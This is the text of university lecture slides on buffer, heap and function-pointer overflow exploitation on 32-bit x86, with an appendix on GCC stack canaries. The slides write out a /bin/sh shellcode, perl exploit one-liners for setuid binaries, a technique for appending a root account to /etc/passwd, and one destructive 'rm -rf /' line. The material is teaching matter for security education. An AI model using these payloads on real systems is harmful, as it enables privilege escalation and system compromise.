esca.korea.ac.kr

Download Report

Transcript esca.korea.ac.kr

Overflows
Sep 25, 2014
Hyuckmin Kwon
1
Contents
• Boot Camp
• Buffer Overflow
• Taking the Privilege
• Using the ENVVAR
• Heap Overflow
• Function Pointer Overflow
2
Boot Camp
3
Before we start
0x00000000
• Stack Frame
• Assembly(Intel x86)
ESP
…
• CALL func
• PUSH EIP
• JMP func
• LEAVE
• MOV ESP, EBP
• POP EBP
• RET
• POP EIP
• JMP EIP
Local variable n
Local variable 1
EBP
Saved Frame(Base) Pointer
Return address
Argument n
…
Argument 1
….(Previous stack frame)
0xffffffff
4
Before we start
• We can also represent the stack frame like this
ESP
EBP
buffer1
buffer2
SFP
RET
arg n
…
arg 1
5
Buffer Overflow
6
overflow_example.c
• Stack frame
int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one,
strcpy(buffer_two,
…
printf("\n[STRCPY]
strcpy(buffer_two,
…
"one"); /* put "one" into buffer_one */
"two"); /* put "two" into buffer_two */
copying %d bytes into buffer_two\n\n", strlen(argv[1]));
argv[1]); /* copy first argument into buffer_two */
}
• We can represent this function’s stack
ESP
buffer_two[8]
EBP
buffer_one[8]
SFP
RET
arg n
…
arg 1
7
overflow_example.c
• What if the input’s length > sizeof(buffer_two)?
buffer_two[8]
buffer_one[8]
value
SFP
RET
arg n … arg 1
buffer_two[8]
buffer_one[8]
value
SFP
RET
arg n … arg 1
$./overflow_example 1234567890123
[BEFORE] buffer_two is at 0xbffff830 and contains 'two'
[BEFORE] buffer_one is at 0xbffff838 and contains 'one'
[BEFORE] value is at 0xbffff844 and is 5 (0x00000005)
[STRCPY] copying 13 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff830 and contains '1234567890123'
[AFTER] buffer_one is at 0xbffff838 and contains '90123'
[AFTER] value is at 0xbffff844 and is 5 (0x00000005)
8
auth_overflow.c
• Stack frame, again
int check_authentication(char *password) {
int auth_flag = 0;
Just change the location
char password_buffer[16];
of two variables
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
ESP
password_buffer[16]
EBP
auth_flag
SFP
RET
arg n
…
arg 1
9
auth_overflow2.c
• Q. Really it is enough?
ESP
EBP
auth_flag
password_buffer[16]
SFP
RET
arg n
…
arg 1
…
arg 1
Will be the EIP’s value
after the function is ended
auth_flag
password_buffer[16]
SFP
RET
arg n
It still can overwrite the return address!
=It can manipulate the EIP
10
auth_overflow2.c
• Manipulate the EIP(RET)
• How many bytes are needed? maybe
• auth_overflow
• 16Bytes(password_buffer) + 4Bytes(auth_flag) + 4Bytes(SFP)
• auth_overflow2
• 16Bytes(password_buffer) + 4Bytes(SFP)
• After (24, 20) Bytes, we can manipulate the RET
• Is it right?
• Let’s demonstrate it
11
auth_overflow2.c
• We can manipulate the EIP
• Then, where should we go?
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
Anyway,
printf("
Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); Access granted
} else {
printf("\nAccess Denied.\n");
}
}
12
auth_overflow2.c
• Using perl
• perl –e ‘print “A”x20’
• perl –e ‘print “\x41”x20’
• ./auth_overflow2 `perl –e ‘print “A”x20’`
13
auth_overflow2.c
• Our payload
• In computer security, payload refers to the part of
malware which performs a malicious action (Wikipedia)
SFP
$ ./auth_overflow2 `perl –e 'print "A"x24, "AAAA", "\xbf\x84\x04\x08"'`
password_buffer
RET
14
Taking the Privilege
15
notesearch.c
• Permission
$ ls -l notesearch
-rwsr-sr-x 1 root root 9169 2014-09-24 20:09 notesearch
• What does the "s" mean?
• setuid bit - Unix access rights flags that allow users to
run an executable with the permissions of the
executable's owner or group (Wikipedia)
• Therefore, we are the root only when executing
notesearch
16
notesearch.c
• Main function
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1)
fatal("in main() while opening file for reading");
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
17
notesearch.c
• Setuid as a root is very dangerous
• What if we can get a shell as a root?
# rm –rf /
The end of the world
18
_Shellcode
• Curriculum accelation
• Shellcode – A small piece of code used as the payload in
the exploitation of a software vulnerability (Wikipedia)
/* execve("/bin/sh") shellcode(35 Bytes) */
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\
x53\x89\xe1\xcd\x80";
• This shellcode opens a shell prompt
• If we can return to the shellcode, then…
• (We won’t cover how to make a shellcode at this time)
19
notesearch.c
• Thinking about the payload
• How to overflow it?
ESP
EBP
Stack frame[0x98]
SFP[4]
RET[4]
• Fill the stack frame, fill the SFP, and manipulate RET
• Q. Then, where is our malicious code?
20
notesearch.c
• We can put the shellcode in the stack frame!
• And point the RET to the start of the shellcode
ESP
EBP
Stack frame[0x98]
Shellcode + etc. = 0x98Bytes
SFP[4]
4bytes
RET[4]
Address of the
Shellcode
RET must point the start of the shellcode!
• But the shellcode is too short to fill the stack frame..
21
notesearch.c
• NOP sled
Sandy Claws
nop
nop
nop
nop
nop
nopnopnopnopnopnopnopnopnopnopnopnopnopnopnop
nopnopnopnopnopnopnopnopnopnopnopnopnopnop
nop
nop
nop
nop
nopnopnopnopnopnopnopnopnopnopnopnopnopnop
22
notesearch.c
• NOP sled
• NOP – No OPeration
• Do nothing. Just consume a CPU cycle
• NOP in x86 assembly – 0x90 (1Byte instruction)
• It does not matter how many NOPs are executed
23
notesearch.c
• Payload again
Shellcode + etc. = 152Bytes
4bytes
Address of the
Shellcode
RET must point to the start of the shellcode!
Shellcode with NOPs = 152Bytes
Address of the
4bytes
(nopnopnop…shellcode..nopnop…)
Shellcode
Pointing the middle of NOP sled is enough
24
notesearch.c
• Finishing blow
$ ./notesearch `perl -e 'print "\x90"x72,
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\
x53\x89\xe1\xcd\x80","\x90"x29,[RET]x20'`
• Let's demonstrate it
25
Using the ENVVAR
26
short_buffer.c
• Everyone knows where is the vulnerable part
#include <string.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
char buffer[20];
strcpy(buffer, argv[1]);
return 0;
}
But there is no room for
SHELLCODE
27
short_buffer.c
• Environment variable
• A set of dynamic named values that can affect the way
running processes will behave on a computer (Wikipedia)
• Let’s look at the environment variables
$ env
TERM=xterm-256color
SHELL=/bin/bash
SSH_CLIENT=192.168.56.1 52260 22
SSH_TTY=/dev/pts/1
USER=ch4mchi
LS_COLORS=
MAIL=/var/mail/ch4mchi
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/home/ch4mchi
…
28
short_buffer.c
• How to make our own envvar?
• export [name]=[value]
$ export YELLOW=SUBMARINE
$ env
TERM=xterm-256color
SHELL=/bin/bash
YELLOW=SUBMARINE
…
• Environment variables' location?
• We can see them by gdb
• x/100s $ebp
29
short_buffer.c
• Environment variables are stored at the end of the
stack segment
• Then, how about the shellcode?
30
short_buffer.c
• Export the shellcode
$ export NECKSLICE=`perl -e 'print "\x90"x100,
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\
xe1\xcd\x80"'`
$ env
…
PWD=/home/ch4mchi
LANG=en_US.UTF-8
NECKSLICE=�������������������������������
�������������������������������������
��������������������������������1�1�1ə
��j
XQh//shh/bin��Q��S��
…
31
short_buffer.c
• All we have to do is make RET point the shellcode
• In the set of environment variable
Anything for filling stack frame
SFP
RET
…
NECKSLICE
32
short_buffer.c
• Where is the NECKSLICE?
/* getenvaddr.c */
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <envvar> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
/* adjust for program name */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
33
short_buffer.c
• Payload
$ ./short_buffer `perl –e 'print "A"x40, "AAAA", [ret]'`
• Let's demonstrate it
34
Heap Overflow
35
notetaker.c
• Heap also can be overflowed
int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
if(argc < 2)
usage(argv[0], datafile);
strcpy(buffer, argv[1]);
printf("[DEBUG] buffer
@ %p: \'%s\'\n", buffer, buffer);
• First, we need to find each heap's address
36
notetaker.c
• Overflow the buffer
$ ./notetaker `perl -e 'print "A"x104,"BBBB"'`
[DEBUG] buffer
@ 0x804a008:
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] datafile @ 0x804a070: 'BBBB'
[DEBUG] file descriptor is 3
Note has been saved.
*** glibc detected *** ./booksrc/notetaker: free(): invalid next size
(normal): 0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
• Because of the glibc's checking, heap overflow has
a limit in this time
37
notetaker.c
• Strategy
•
•
•
•
buffer – content of the note
datafile – filename of the note
notetaker – SUID(as root)ed binary
Memory map
buffer[100]
………………….
datafile[20]
104Bytes
38
notetaker.c
• /etc/passwd: Stores information of each user
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
…
39
notetaker.c
• Idea – Overwrite the /etc/passwd
• Because the open() in the notetaker contains
O_APPEND, we can append an arbitrary account
Name
ID(0 means root)
Login shell
hiroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
PW
Group
Home dir
• XXq2wKiyI43A2
• crypt("password", "XX");
40
notetaker.c
myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
• Problem – the input should be ended with
"/etc/passwd"
$ mkdir /tmp/etc
$ ln -s /bin/bash /tmp/etc/passwd
$ ls -l /tmp/etc/passwd
lrwxrwxrwx 1 ch4mchi ch4mchi /tmp/etc/passwd -> /bin/bash
• Finally, we can add the new account
hiroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd
41
notetaker.c
• Payload
$ ./notetaker `perl -e 'print "hiroot:XXq2wKiyI43A2:0:0:",
"A"x68,":/root:/tmp/etc/passwd"
For fitting
the buffer distance
42
Function Pointer
Overflow
43
game_of_chance.c
• A structure in the source
struct user {
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
• Function pointer performs like RET
44
game_of_chance.c
• Dealing with struct user
void input_name() {
char *name_ptr, input_char='\n';
while(input_char == '\n')
// Flush any leftover
scanf("%c", &input_char); // newline chars.
// name_ptr = player name's address
name_ptr = (char *) &(player.name);
while(input_char != '\n') {
*name_ptr = input_char;
scanf("%c", &input_char);
name_ptr++;
}
*name_ptr = 0; // Terminate the string.
}
45
game_of_chance.c
• We have to preserve the last_game
if((choice < 1) || (choice > 7))
printf("\n[!!] The number %d is an invalid selection.\n\n", choice);
else if (choice < 4) { // Othewise, choice was a game of some sort.
if(choice != last_game) { // If the function ptr isn't set
if(choice == 1)
// then point it at the selected game
player.current_game = pick_a_number;
else if(choice == 2)
player.current_game = dealer_no_match;
else
player.current_game = find_the_ace;
last_game = choice;
// and set last_game.
}
play_the_game();
// Play the game.
}
46
game_of_chance.c
• Find the profit function
$ nm game_of_chance
…
08048d70 T jackpot
…
47
game_of_chance.c
• Payload
• Like a macro
$ perl -e 'print
"1\n5\nn\n5\n","A"x100,"\x70\x8d\x04\x08\n","1\nn\n","7\n"'
| ./game_of_chance
• It will change the current_game function pointer points
to jackpot()
$ perl -e 'print
"1\n5\nn\n5\n","A"x100,"\x70\x8d\x04\x08\n","1\n","y\n"x10,"n\
n7\n' | ./game_of_chance
48
Thank You for listening
49
Appendix
(Stack protector)
50
Stack protector
• classic.c
#include <string.h>
int main(int argc, char* argv[]) {
int deadbeef = 0xDEADBEEF;
int deadcafe = 0xDEADCAFE;
char hibari[16];
strcpy(hibari, argv[1]);
return 0;
}
51
Stack protector
• Without canary
$ gcc classic.c –o classic_fno_stack_protector –fno-stack-protector
(gdb) disass main
0x0804841d <+0> : push
ebp
0x0804841e <+1> : mov
ebp,esp
0x08048420 <+3> : and
esp,0xfffffff0
0x08048423 <+6> : sub
esp,0x30
0x08048426 <+9> : mov
DWORD PTR [esp+0x2c],0xdeadbeef
0x0804842e <+17>: mov
DWORD PTR [esp+0x28],0xdeadcafe
0x08048436 <+25>: mov
eax,DWORD PTR [ebp+0xc]
0x08048439 <+28>: add
eax,0x4
0x0804843c <+31>: mov
eax,DWORD PTR [eax]
0x0804843e <+33>: mov
DWORD PTR [esp+0x4],eax
0x08048442 <+37>: lea
eax,[esp+0x18]
0x08048446 <+41>: mov
DWORD PTR [esp],eax
0x08048449 <+44>: call
0x80482f0 <strcpy@plt>
0x0804844e <+49>: mov
eax,0x0
0x08048453 <+54>: leave
0x08048454 <+55>: ret
52
Stack protector
• Without canary – Stack frame
(gdb) x/16x
0xbffff670:
0xbffff680:
0xbffff690:
0xbffff6a0:
$esp
0xbffff688
0x00000002
0x63636363
0x08048460
0xbffff89c
0xbffff744
0x64646464
0x00000000
0x0804a000
0x61616161
0xdeadcafe
0x00000000
0x080484b2
0x62626262
0xdeadbeef
0xb7e3fa83
RET
EBP
SFP
deadbeef
deadcafe
hibari[12:15]
hibari[8:11]
hibari[4:7]
ESP
hibari[0:3]
53
Stack protector
• fstack-protector – Step 1. write a canary
$ gcc classic.c –o classic_fstack_protector –fstack-protector
(gdb) disass main
0x0804846d <+0> : push
ebp
0x0804846e <+1> : mov
ebp,esp
0x08048470 <+3> : and
esp,0xfffffff0
0x08048473 <+6> : sub
esp,0x30
0x08048476 <+9> : mov
eax,DWORD PTR [ebp+0xc]
0x08048479 <+12>: mov
DWORD PTR [esp+0xc],eax
0x0804847d <+16>: mov
eax,gs:0x14
0x08048483 <+22>: mov
DWORD PTR [esp+0x2c],eax
0x08048487 <+26>: xor
eax,eax
0x08048489 <+28>: mov
DWORD PTR [esp+0x14],0xdeadbeef
0x08048491 <+36>: mov
DWORD PTR [esp+0x18],0xdeadcafe
0x08048499 <+44>: mov
eax,DWORD PTR [esp+0xc]
0x0804849d <+48>: add
eax,0x4
0x080484a0 <+51>: mov
eax,DWORD PTR [eax]
0x080484a2 <+53>: mov
DWORD PTR [esp+0x4],eax
0x080484a6 <+57>: lea
eax,[esp+0x1c]
0x080484aa <+61>: mov
DWORD PTR [esp],eax
0x080484ad <+64>: call
0x8048340 <strcpy@plt>
54
Stack protector
• fstack-protector
$ gcc classic.c –o classic_fstack_protector –fstack-protector
(gdb) disass main
0x080484b2 <+69>: mov
eax,0x0
0x080484b7 <+74>: mov
edx,DWORD PTR [esp+0x2c]
0x080484bb <+78>: xor
edx,DWORD PTR gs:0x14
0x080484c2 <+85>: je
0x80484c9 <main+92>
0x080484c4 <+87>: call
0x8048330 <__stack_chk_fail@plt>
0x080484c9 <+92>: leave
0x080484ca <+93>: ret
• Step 2. Check the canary remains same
55
Stack protector
• fstack-protector – Stack frame
(gdb) x/16x
0xbffff670:
0xbffff680:
0xbffff690:
0xbffff6a0:
$esp
0xbffff68c
0x00000002
0x62626262
0x080484d0
0xbffff8a0
0xdeadbeef
0x63636363
0x00000000
0x0804a000
0xdeadcafe
0x00646464
0x00000000
0xbffff744
0x61616161
0x9af7b400
0xb7e3fa83
RET
EBP
SFP
CANARY
hibari[12:15]
hibari[8:11]
hibari[4:7]
hibari[0:3]
ESP
deadcafe
deadbeef
56
Stack protector
• fstack-protector-all
$ gcc classic.c –o classic_fstack_protector_all –fstack-protector-all
(gdb) disass main
0x0804846d <+0>: push
ebp
0x0804846e <+1>: mov
ebp,esp
0x08048470 <+3>: and
esp,0xfffffff0
0x08048473 <+6>: sub
esp,0x30
0x08048476 <+9>: mov
eax,DWORD PTR [ebp+0x8]
0x08048479 <+12>: mov
DWORD PTR [esp+0xc],eax
0x0804847d <+16>: mov
eax,DWORD PTR [ebp+0xc]
0x08048480 <+19>: mov
DWORD PTR [esp+0x8],eax
0x08048484 <+23>: mov
eax,gs:0x14
0x0804848a <+29>: mov
DWORD PTR [esp+0x2c],eax
0x0804848e <+33>: xor
eax,eax
0x08048490 <+35>: mov
DWORD PTR [esp+0x14],0xdeadbeef
0x08048498 <+43>: mov
DWORD PTR [esp+0x18],0xdeadcafe
• Step 2. Same
57
Stack protector
• fstack-protector-all – Step 1. Almost same
$ gcc classic.c –o classic_fstack_protector_all –fstack-protector-all
(gdb) disass main
0x080484a0 <+51>: mov
eax,DWORD PTR [esp+0x8]
0x080484a4 <+55>: add
eax,0x4
0x080484a7 <+58>: mov
eax,DWORD PTR [eax]
0x080484a9 <+60>: mov
DWORD PTR [esp+0x4],eax
0x080484ad <+64>: lea
eax,[esp+0x1c]
0x080484b1 <+68>: mov
DWORD PTR [esp],eax
0x080484b4 <+71>: call
0x8048340 <strcpy@plt>
0x080484b9 <+76>: mov
eax,0x0
0x080484be <+81>: mov
edx,DWORD PTR [esp+0x2c]
0x080484c2 <+85>: xor
edx,DWORD PTR gs:0x14
0x080484c9 <+92>: je
0x80484d0 <main+99>
0x080484cb <+94>: call
0x8048330 <__stack_chk_fail@plt>
0x080484d0 <+99>: leave
0x080484d1 <+100>: ret
58
Stack protector
• fstack-protector
$ gcc classic.c –o classic_fstack_protector –fstack-protector
(gdb) disass main
0x080484b2 <+69>: mov
eax,0x0
0x080484b7 <+74>: mov
edx,DWORD PTR [esp+0x2c]
0x080484bb <+78>: xor
edx,DWORD PTR gs:0x14
0x080484c2 <+85>: je
0x80484c9 <main+92>
0x080484c4 <+87>: call
0x8048330 <__stack_chk_fail@plt>
0x080484c9 <+92>: leave
0x080484ca <+93>: ret
• Step 2. Check the canary remains same
59
Stack protector
• fstack-protector
• If we try to overflow the stack
$ ./classic_fstack_protector aaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./classic_fstack_protector terminated
/* canary will be dead */
60
Stack protector
• fstack-protector-all – Stack frame
(gdb) x/16x
0xbffff670:
0xbffff680:
0xbffff690:
0xbffff6a0:
$esp
0xbffff68c
0x00000002
0x62626262
0x080484e0
0xbffff89c
0xdeadbeef
0x63636363
0x00000000
0xbffff744
0xdeadcafe
0x00646464
0x00000000
0x00000002
0x61616161
0x3f0e3a00
0xb7e3fa83
RET
EBP
SFP
CANARY
hibari[12:15]
hibari[8:11]
hibari[4:7]
hibari[0:3]
ESP
deadcafe
deadbeef
61
Stack protector
• fstack-protector vs fstack-protector-all
• fstack-protector protects only vulnerable functions
• E.g. sizeof(char_array) > 8
• fstack-protector protects all functions in the program
• No exception
62
Stack protector
• modern.c
#include <string.h>
int pwn(){
int no_char;
return 0;
}
int main(int argc, char* argv[]) {
int deadbeef = 0xDEADBEEF;
int deadcafe = 0xDEADCAFE;
char hibari[16];
pwn();
strcpy(hibari, argv[1]);
return 0;
}
63
Stack protector
• fstack-protector
$ gcc modern.c –o modern_fno_stack_protector –fno-stack-protector
(gdb) disass pwn
Dump of assembler code for function pwn:
0x0804846d <+0>: push
ebp
0x0804846e <+1>: mov
ebp,esp
0x08048470 <+3>: mov
eax,0x0
0x08048475 <+8>: pop
ebp
0x08048476 <+9>: ret
64
Stack protector
• fstack-protector-all
$ gcc modern.c –o modern_fno_stack_protector_all –fno-stack-protector-all
(gdb) disass pwn
Dump of assembler code for function pwn:
0x0804846d <+0> : push
ebp
0x0804846e <+1> : mov
ebp,esp
0x08048470 <+3> : sub
esp,0x18
0x08048473 <+6> : mov
eax,gs:0x14
0x08048479 <+12>: mov
DWORD PTR [ebp-0xc],eax
0x0804847c <+15>: xor
eax,eax
0x0804847e <+17>: mov
eax,0x0
0x08048483 <+22>: mov
edx,DWORD PTR [ebp-0xc]
0x08048486 <+25>: xor
edx,DWORD PTR gs:0x14
0x0804848d <+32>: je
0x8048494 <pwn+39>
0x0804848f <+34>: call
0x8048330 <__stack_chk_fail@plt>
0x08048494 <+39>: leave
0x08048495 <+40>: ret
65